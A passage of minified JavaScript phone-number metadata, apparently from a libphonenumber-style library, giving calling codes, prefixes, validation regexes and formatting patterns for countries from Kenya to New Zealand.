9]|4[0-369]|5[29]|8[02389]|9[0-389])|7(?:2[02-46-9]|34|[58]|6[0249]|7[57]|9[2-6])|8(?:2[124589]|3[26-9]|49|51|6|7[0-468]|8[68]|9[019])|9(?:[23][1-9]|4[15]|5[138]|6[1-3]|7[156]|8[189]|9[1-489])\",\"1(?:1|5(?:4[018]|5[017])|77|88|9[69])|2(?:2(?:[127]|3[014-9])|3[0-269]|4[59]|5(?:[1-3]|5[0-69]|9[19])|62|7(?:[1-35]|8[0189])|8(?:[16]|3[0134]|9[0-5])|9(?:[028]|17))|4(?:2(?:[13-79]|8[014-6])|3[0-57]|[45]|6[248]|7[2-47]|8[1-9]|9[29])|5(?:2|3(?:[045]|9[0-8])|4[0-369]|5[29]|8[02389]|9[0-3])|7(?:2[02-46-9]|34|[58]|6[0249]|7[57]|9(?:[23]|4[0-59]|5[01569]|6[0167]))|8(?:2(?:[1258]|4[0-39]|9[0-2469])|3(?:[29]|60)|49|51|6(?:[0-24]|36|5[0-3589]|7[23]|9[01459])|7[0-468]|8[68])|9(?:[23][1-9]|4[15]|5[138]|6[1-3]|7[156]|8[189]|9(?:[1289]|3[34]|4[0178]))|(?:264|837)[016-9]|2(?:57|93)[015-9]|(?:25[0468]|422|838)[01]|(?:47[59]|59[89]|8(?:6[68]|9))[019]\",\"1(?:1|5(?:4[018]|5[017])|77|88|9[69])|2(?:2[127]|3[0-269]|4[59]|5(?:[1-3]|5[0-69]|9(?:17|99))|6(?:2|4[016-9])|7(?:[1-35]|8[0189])|8(?:[16]|3[0134]|9[0-5])|9(?:[028]|17))|4(?:2(?:[13-79]|8[014-6])|3[0-57]|[45]|6[248]|7[2-47]|9[29])|5(?:2|3(?:[045]|9(?:[0-58]|6[4-9]|7[0-35689]))|4[0-369]|5[29]|8[02389]|9[0-3])|7(?:2[02-46-9]|34|[58]|6[0249]|7[57]|9(?:[23]|4[0-59]|5[01569]|6[0167]))|8(?:2(?:[1258]|4[0-39]|9[0169])|3(?:[29]|60|7(?:[017-9]|6[6-8]))|49|51|6(?:[0-24]|36[2-57-9]|5(?:[0-389]|5[23])|6(?:[01]|9[178])|7(?:2[2-468]|3[78])|9[0145])|7[0-468]|8[68])|9(?:4[15]|5[138]|7[156]|8[189]|9(?:[1289]|3(?:31|4[357])|4[0178]))|(?:8294|96)[1-3]|2(?:57|93)[015-9]|(?:223|8699)[014-9]|(?:25[0468]|422|838)[01]|(?:48|8292|9[23])[1-9]|(?:47[59]|59[89]|8(?:68|9))[019]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{4})\",\"$1-$2-$3\",[\"[14]|[289][2-9]|5[3-9]|7[2-4679]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1-$2-$3\",[\"800\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1-$2-$3\",[\"[257-9]\"],\"0$1\"]],\"0\",0,\"(000[259]\\\\d{6})$|(?:(?:003768)0?)|0\",\"$1\"],KE:[\"254\",\"000\",\"(?:[17]\\\\d\\\\d|900)\\\\d{6}|(?:2|80)0\\\\d{6,7}|[4-6]\\\\d{6,8}\",[7,8,9,10],[[\"(\\\\d{2})(\\\\d{5,7})\",\"$1 $2\",[\"[24-6]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{6})\",\"$1 $2\",[\"[17]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[89]\"],\"0$1\"]],\"0\"],KG:[\"996\",\"00\",\"8\\\\d{9}|[235-9]\\\\d{8}\",[9,10],[[\"(\\\\d{4})(\\\\d{5})\",\"$1 $2\",[\"3(?:1[346]|[24-79])\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[235-79]|88\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d)(\\\\d{2,3})\",\"$1 $2 $3 $4\",[\"8\"],\"0$1\"]],\"0\"],KH:[\"855\",\"00[14-9]\",\"1\\\\d{9}|[1-9]\\\\d{7,8}\",[8,9,10],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[1-9]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"1\"]]],\"0\"],KI:[\"686\",\"00\",\"(?:[37]\\\\d|6[0-79])\\\\d{6}|(?:[2-48]\\\\d|50)\\\\d{3}\",[5,8],0,\"0\"],KM:[\"269\",\"00\",\"[3478]\\\\d{6}\",[7],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3\",[\"[3478]\"]]]],KN:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-7]\\\\d{6})$|1\",\"869$1\",0,\"869\"],KP:[\"850\",\"00|99\",\"85\\\\d{6}|(?:19\\\\d|[2-7])\\\\d{7}\",[8,10],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"8\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[2-7]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"1\"],\"0$1\"]],\"0\"],KR:[\"82\",\"00(?:[125689]|3(?:[46]5|91)|7(?:00|27|3|55|6[126]))\",\"00[1-9]\\\\d{8,11}|(?:[12]|5\\\\d{3})\\\\d{7}|[13-6]\\\\d{9}|(?:[1-6]\\\\d|80)\\\\d{7}|[3-6]\\\\d{4,5}|(?:00|7)0\\\\d{8}\",[5,6,8,9,10,11,12,13,14],[[\"(\\\\d{2})(\\\\d{3,4})\",\"$1-$2\",[\"(?:3[1-3]|[46][1-4]|5[1-5])1\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{4})\",\"$1-$2\",[\"1\"]],[\"(\\\\d)(\\\\d{3,4})(\\\\d{4})\",\"$1-$2-$3\",[\"2\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1-$2-$3\",[\"60|8\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3,4})(\\\\d{4})\",\"$1-$2-$3\",[\"[1346]|5[1-5]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1-$2-$3\",[\"[57]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{5})(\\\\d{4})\",\"$1-$2-$3\",[\"5\"],\"0$1\"]],\"0\",0,\"0(8(?:[1-46-8]|5\\\\d\\\\d))?\"],KW:[\"965\",\"00\",\"18\\\\d{5}|(?:[2569]\\\\d|41)\\\\d{6}\",[7,8],[[\"(\\\\d{4})(\\\\d{3,4})\",\"$1 $2\",[\"[169]|2(?:[235]|4[1-35-9])|52\"]],[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"[245]\"]]]],KY:[\"1\",\"011\",\"(?:345|[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-9]\\\\d{6})$|1\",\"345$1\",0,\"345\"],KZ:[\"7\",\"810\",\"(?:33622|8\\\\d{8})\\\\d{5}|[78]\\\\d{9}\",[10,14],0,\"8\",0,0,0,0,\"33|7\",0,\"8~10\"],LA:[\"856\",\"00\",\"[23]\\\\d{9}|3\\\\d{8}|(?:[235-8]\\\\d|41)\\\\d{6}\",[8,9,10],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"2[13]|3[14]|[4-8]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"30[013-9]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"[23]\"],\"0$1\"]],\"0\"],LB:[\"961\",\"00\",\"[27-9]\\\\d{7}|[13-9]\\\\d{6}\",[7,8],[[\"(\\\\d)(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[13-69]|7(?:[2-57]|62|8[0-7]|9[04-9])|8[02-9]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[27-9]\"]]],\"0\"],LC:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|758|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-8]\\\\d{6})$|1\",\"758$1\",0,\"758\"],LI:[\"423\",\"00\",\"[68]\\\\d{8}|(?:[2378]\\\\d|90)\\\\d{5}\",[7,9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3\",[\"[2379]|8(?:0[09]|7)\",\"[2379]|8(?:0(?:02|9)|7)\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"8\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"69\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"6\"]]],\"0\",0,\"(1001)|0\"],LK:[\"94\",\"00\",\"[1-9]\\\\d{8}\",[9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"7\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[1-689]\"],\"0$1\"]],\"0\"],LR:[\"231\",\"00\",\"(?:[25]\\\\d|33|77|88)\\\\d{7}|(?:2\\\\d|[4-6])\\\\d{6}\",[7,8,9],[[\"(\\\\d)(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[4-6]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"2\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[23578]\"],\"0$1\"]],\"0\"],LS:[\"266\",\"00\",\"(?:[256]\\\\d\\\\d|800)\\\\d{5}\",[8],[[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[2568]\"]]]],LT:[\"370\",\"00\",\"(?:[3469]\\\\d|52|[78]0)\\\\d{6}\",[8],[[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"52[0-7]\"],\"(8-$1)\",1],[\"(\\\\d{3})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"[7-9]\"],\"8 $1\",1],[\"(\\\\d{2})(\\\\d{6})\",\"$1 $2\",[\"37|4(?:[15]|6[1-8])\"],\"(8-$1)\",1],[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"[3-6]\"],\"(8-$1)\",1]],\"8\",0,\"[08]\"],LU:[\"352\",\"00\",\"35[013-9]\\\\d{4,8}|6\\\\d{8}|35\\\\d{2,4}|(?:[2457-9]\\\\d|3[0-46-9])\\\\d{2,9}\",[4,5,6,7,8,9,10,11],[[\"(\\\\d{2})(\\\\d{3})\",\"$1 $2\",[\"2(?:0[2-689]|[2-9])|[3-57]|8(?:0[2-9]|[13-9])|9(?:0[89]|[2-579])\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3\",[\"2(?:0[2-689]|[2-9])|[3-57]|8(?:0[2-9]|[13-9])|9(?:0[89]|[2-579])\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"20[2-689]\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{1,2})\",\"$1 $2 $3 $4\",[\"2(?:[0367]|4[3-8])\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"80[01]|90[015]\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"20\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"6\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{1,2})\",\"$1 $2 $3 $4 $5\",[\"2(?:[0367]|4[3-8])\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{1,5})\",\"$1 $2 $3 $4\",[\"[3-57]|8[13-9]|9(?:0[89]|[2-579])|(?:2|80)[2-9]\"]]],0,0,\"(15(?:0[06]|1[12]|[35]5|4[04]|6[26]|77|88|99)\\\\d)\"],LV:[\"371\",\"00\",\"(?:[268]\\\\d|90)\\\\d{6}\",[8],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[269]|8[01]\"]]]],LY:[\"218\",\"00\",\"[2-9]\\\\d{8}\",[9],[[\"(\\\\d{2})(\\\\d{7})\",\"$1-$2\",[\"[2-9]\"],\"0$1\"]],\"0\"],MA:[\"212\",\"00\",\"[5-8]\\\\d{8}\",[9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"5[45]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{5})\",\"$1-$2\",[\"5(?:2[2-489]|3[5-9]|9)|8(?:0[89]|92)\",\"5(?:2(?:[2-49]|8[235-9])|3[5-9]|9)|8(?:0[89]|92)\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{7})\",\"$1-$2\",[\"8\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{6})\",\"$1-$2\",[\"[5-7]\"],\"0$1\"]],\"0\",0,0,0,0,0,[[\"5(?:2(?:[0-25-79]\\\\d|3[1-578]|4[02-46-8]|8[0235-7])|3(?:[0-47]\\\\d|5[02-9]|6[02-8]|8[014-9]|9[3-9])|(?:4[067]|5[03])\\\\d)\\\\d{5}\"],[\"(?:6(?:[0-79]\\\\d|8[0-247-9])|7(?:[0167]\\\\d|2[0-2]|5[01]|8[0-3]))\\\\d{6}\"],[\"80[0-7]\\\\d{6}\"],[\"89\\\\d{7}\"],0,0,0,0,[\"(?:592(?:4[0-2]|93)|80[89]\\\\d\\\\d)\\\\d{4}\"]]],MC:[\"377\",\"00\",\"(?:[3489]|6\\\\d)\\\\d{7}\",[8,9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"4\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[389]\"]],[\"(\\\\d)(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4 $5\",[\"6\"],\"0$1\"]],\"0\"],MD:[\"373\",\"00\",\"(?:[235-7]\\\\d|[89]0)\\\\d{6}\",[8],[[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"[89]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"22|3\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"[25-7]\"],\"0$1\"]],\"0\"],ME:[\"382\",\"00\",\"(?:20|[3-79]\\\\d)\\\\d{6}|80\\\\d{6,7}\",[8,9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[2-9]\"],\"0$1\"]],\"0\"],MF:[\"590\",\"00\",\"590\\\\d{6}|(?:69|80|9\\\\d)\\\\d{7}\",[9],0,\"0\",0,0,0,0,0,[[\"590(?:0[079]|[14]3|[27][79]|3[03-7]|5[0-268]|87)\\\\d{4}\"],[\"69(?:0\\\\d\\\\d|1(?:2[2-9]|3[0-5]))\\\\d{4}\"],[\"80[0-5]\\\\d{6}\"],0,0,0,0,0,[\"9(?:(?:395|76[018])\\\\d|475[0-5])\\\\d{4}\"]]],MG:[\"261\",\"00\",\"[23]\\\\d{8}\",[9],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{3})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[23]\"],\"0$1\"]],\"0\",0,\"([24-9]\\\\d{6})$|0\",\"20$1\"],MH:[\"692\",\"011\",\"329\\\\d{4}|(?:[256]\\\\d|45)\\\\d{5}\",[7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1-$2\",[\"[2-6]\"]]],\"1\"],MK:[\"389\",\"00\",\"[2-578]\\\\d{7}\",[8],[[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"2|34[47]|4(?:[37]7|5[47]|64)\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[347]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d)(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[58]\"],\"0$1\"]],\"0\"],ML:[\"223\",\"00\",\"[24-9]\\\\d{7}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[24-9]\"]]]],MM:[\"95\",\"00\",\"1\\\\d{5,7}|95\\\\d{6}|(?:[4-7]|9[0-46-9])\\\\d{6,8}|(?:2|8\\\\d)\\\\d{5,8}\",[6,7,8,9,10],[[\"(\\\\d)(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"16|2\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"[45]|6(?:0[23]|[1-689]|7[235-7])|7(?:[0-4]|5[2-7])|8[1-6]\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[12]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[4-7]|8[1-35]\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{4,6})\",\"$1 $2 $3\",[\"9(?:2[0-4]|[35-9]|4[137-9])\"],\"0$1\"],[\"(\\\\d)(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"2\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"8\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"92\"],\"0$1\"],[\"(\\\\d)(\\\\d{5})(\\\\d{4})\",\"$1 $2 $3\",[\"9\"],\"0$1\"]],\"0\"],MN:[\"976\",\"001\",\"[12]\\\\d{7,9}|[5-9]\\\\d{7}\",[8,9,10],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{4})\",\"$1 $2 $3\",[\"[12]1\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[5-9]\"]],[\"(\\\\d{3})(\\\\d{5,6})\",\"$1 $2\",[\"[12]2[1-3]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{5,6})\",\"$1 $2\",[\"[12](?:27|3[2-8]|4[2-68]|5[1-4689])\",\"[12](?:27|3[2-8]|4[2-68]|5[1-4689])[0-3]\"],\"0$1\"],[\"(\\\\d{5})(\\\\d{4,5})\",\"$1 $2\",[\"[12]\"],\"0$1\"]],\"0\"],MO:[\"853\",\"00\",\"0800\\\\d{3}|(?:28|[68]\\\\d)\\\\d{6}\",[7,8],[[\"(\\\\d{4})(\\\\d{3})\",\"$1 $2\",[\"0\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[268]\"]]]],MP:[\"1\",\"011\",\"[58]\\\\d{9}|(?:67|90)0\\\\d{7}\",[10],0,\"1\",0,\"([2-9]\\\\d{6})$|1\",\"670$1\",0,\"670\"],MQ:[\"596\",\"00\",\"596\\\\d{6}|(?:69|80|9\\\\d)\\\\d{7}\",[9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[569]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"8\"],\"0$1\"]],\"0\"],MR:[\"222\",\"00\",\"(?:[2-4]\\\\d\\\\d|800)\\\\d{5}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[2-48]\"]]]],MS:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|664|900)\\\\d{7}\",[10],0,\"1\",0,\"([34]\\\\d{6})$|1\",\"664$1\",0,\"664\"],MT:[\"356\",\"00\",\"3550\\\\d{4}|(?:[2579]\\\\d\\\\d|800)\\\\d{5}\",[8],[[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[2357-9]\"]]]],MU:[\"230\",\"0(?:0|[24-7]0|3[03])\",\"(?:[57]|8\\\\d\\\\d)\\\\d{7}|[2-468]\\\\d{6}\",[7,8,10],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[2-46]|8[013]\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[57]\"]],[\"(\\\\d{5})(\\\\d{5})\",\"$1 $2\",[\"8\"]]],0,0,0,0,0,0,0,\"020\"],MV:[\"960\",\"0(?:0|19)\",\"(?:800|9[0-57-9]\\\\d)\\\\d{7}|[34679]\\\\d{6}\",[7,10],[[\"(\\\\d{3})(\\\\d{4})\",\"$1-$2\",[\"[34679]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[89]\"]]],0,0,0,0,0,0,0,\"00\"],MW:[\"265\",\"00\",\"(?:[1289]\\\\d|31|77)\\\\d{7}|1\\\\d{6}\",[7,9],[[\"(\\\\d)(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"1[2-9]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"2\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[137-9]\"],\"0$1\"]],\"0\"],MX:[\"52\",\"0[09]\",\"1(?:(?:[27]2|44|87|99)[1-9]|65[0-689])\\\\d{7}|(?:1(?:[01]\\\\d|2[13-9]|[35][1-9]|4[0-35-9]|6[0-46-9]|7[013-9]|8[1-69]|9[1-8])|[2-9]\\\\d)\\\\d{8}\",[10,11],[[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"33|5[56]|81\"],0,1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[2-9]\"],0,1],[\"(\\\\d)(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$2 $3 $4\",[\"1(?:33|5[56]|81)\"],0,1],[\"(\\\\d)(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$2 $3 $4\",[\"1\"],0,1]],\"01\",0,\"0(?:[12]|4[45])|1\",0,0,0,0,\"00\"],MY:[\"60\",\"00\",\"1\\\\d{8,9}|(?:3\\\\d|[4-9])\\\\d{7}\",[8,9,10],[[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1-$2 $3\",[\"[4-79]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1-$2 $3\",[\"1(?:[02469]|[378][1-9]|53)|8\",\"1(?:[02469]|[37][1-9]|53|8(?:[1-46-9]|5[7-9]))|8\"],\"0$1\"],[\"(\\\\d)(\\\\d{4})(\\\\d{4})\",\"$1-$2 $3\",[\"3\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{2})(\\\\d{4})\",\"$1-$2-$3-$4\",[\"1(?:[367]|80)\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1-$2 $3\",[\"15\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1-$2 $3\",[\"1\"],\"0$1\"]],\"0\"],MZ:[\"258\",\"00\",\"(?:2|8\\\\d)\\\\d{7}\",[8,9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"2|8[2-79]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"8\"]]]],NA:[\"264\",\"00\",\"[68]\\\\d{7,8}\",[8,9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"88\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"6\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"87\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"8\"],\"0$1\"]],\"0\"],NC:[\"687\",\"00\",\"(?:050|[2-57-9]\\\\d\\\\d)\\\\d{3}\",[6],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1.$2.$3\",[\"[02-57-9]\"]]]],NE:[\"227\",\"00\",\"[027-9]\\\\d{7}\",[8],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"08\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[089]|2[013]|7[047]\"]]]],NF:[\"672\",\"00\",\"[13]\\\\d{5}\",[6],[[\"(\\\\d{2})(\\\\d{4})\",\"$1 $2\",[\"1[0-3]\"]],[\"(\\\\d)(\\\\d{5})\",\"$1 $2\",[\"[13]\"]]],0,0,\"([0-258]\\\\d{4})$\",\"3$1\"],NG:[\"234\",\"009\",\"(?:[124-7]|9\\\\d{3})\\\\d{6}|[1-9]\\\\d{7}|[78]\\\\d{9,13}\",[7,8,10,11,12,13,14],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"78\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[12]|9(?:0[3-9]|[1-9])\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2,3})\",\"$1 $2 $3\",[\"[3-7]|8[2-9]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[7-9]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{4})(\\\\d{4,5})\",\"$1 $2 $3\",[\"[78]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{5})(\\\\d{5,6})\",\"$1 $2 $3\",[\"[78]\"],\"0$1\"]],\"0\"],NI:[\"505\",\"00\",\"(?:1800|[25-8]\\\\d{3})\\\\d{4}\",[8],[[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[125-8]\"]]]],NL:[\"31\",\"00\",\"(?:[124-7]\\\\d\\\\d|3(?:[02-9]\\\\d|1[0-8]))\\\\d{6}|8\\\\d{6,9}|9\\\\d{6,10}|1\\\\d{4,5}\",[5,6,7,8,9,10,11],[[\"(\\\\d{3})(\\\\d{4,7})\",\"$1 $2\",[\"[89]0\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{7})\",\"$1 $2\",[\"66\"],\"0$1\"],[\"(\\\\d)(\\\\d{8})\",\"$1 $2\",[\"6\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"1[16-8]|2[259]|3[124]|4[17-9]|5[124679]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[1-578]|91\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{5})\",\"$1 $2 $3\",[\"9\"],\"0$1\"]],\"0\"],NO:[\"47\",\"00\",\"(?:0|[2-9]\\\\d{3})\\\\d{4}\",[5,8],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"8\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[2-79]\"]]],0,0,0,0,0,\"[02-689]|7[0-8]\"],NP:[\"977\",\"00\",\"(?:1\\\\d|9)\\\\d{9}|[1-9]\\\\d{7}\",[8,10,11],[[\"(\\\\d)(\\\\d{7})\",\"$1-$2\",[\"1[2-6]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{6})\",\"$1-$2\",[\"1[01]|[2-8]|9(?:[1-59]|[67][2-6])\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{7})\",\"$1-$2\",[\"9\"]]],\"0\"],NR:[\"674\",\"00\",\"(?:444|(?:55|8\\\\d)\\\\d|666)\\\\d{4}\",[7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[4-68]\"]]]],NU:[\"683\",\"00\",\"(?:[4-7]|888\\\\d)\\\\d{3}\",[4,7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"8\"]]]],NZ:[\"64\",\"0(?:0|161)\",\"[1289]\\\\d{9}|50\\\\d{5}(?:\\\\d{2,3})?|[27-9]\\\\d{7,8}|(?:[34]\\\\d|6[0-35-9])\\\\d{6}|8\\\\d{4,6}\",[5,6,7,8,9,10],[[\"(\\\\d{2})(\\\\d{3,8})\",\"$1 $2\",[\"8[1-79]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2,3})\",\"$1 $2 